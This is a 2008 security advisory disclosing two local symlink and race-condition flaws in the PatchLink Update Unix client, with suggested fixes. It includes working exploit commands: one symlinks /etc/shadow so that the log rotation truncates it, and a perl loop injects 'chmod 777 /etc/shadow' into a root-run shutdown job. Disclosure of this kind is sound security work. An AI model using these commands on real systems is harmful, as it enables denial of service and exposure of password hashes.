PatchLink Update Unix Client File clobbering vulnerability
Larry W. Cashdollar
Vapid Labs
1/17/2008
Overview From the vendor:
?PatchLink Update? provides rapid, accurate and secure patch management,
allowing you to proactively manage threats by automating the collection,
analysis and delivery of patches throughout your enterprise. PatchLink Update
significantly decreases the costs involved in securing your organization from
worms, Trojans, viruses and other malicious threats.?
http://lumension.com/patch-management.jsp?rpLangCode=1&rpMenuId=118443
Vulnerability
The log rotation utility ?logtrimmer? utilizes space in /tmp improperly and is
subject to a symlink attack. By creating a targeted symlink a non root user can
clobber root owned files causing DoS.
Exploit
nobody:/tmp> ln -s /etc/shadow patchlink.tmp
After logs are rotated
/etc/shadow will be size 0, since patchlink.tmp is removed by logtrimmer after
the log rotation process has finished.
Fix
Create a subdirectory under /tmp or /var/tmp to work from.
For example adding:
mkdir /var/tmp/plink
chmod 700 /var/tmp/plink
Second Vulnerability:
The script rebootTask contains the following lines for HP-UX Shutdown and
reboot:
echo "shutdown -r -y 120" > /tmp/plshutdown
chmod 500 /tmp/plshutdown
at now < /tmp/plshutdown
A race condition exists where a local user could symlink /tmp/plshutdown to a
file in their home directory and inject malicous code. This could be done
possibly by continuously writing to the file while waiting for the at command
to run.
$ ln -s /tmp/plshutdown /var/tmp/runme
#/bin/perl
while(1){
`echo "chmod 777 /etc/shadow" > /var/tmp/runme`;
}
Also could be fixed by creating a subdirectory to work from under /var/tmp or
/tmp.
http://vapid.dhs.org
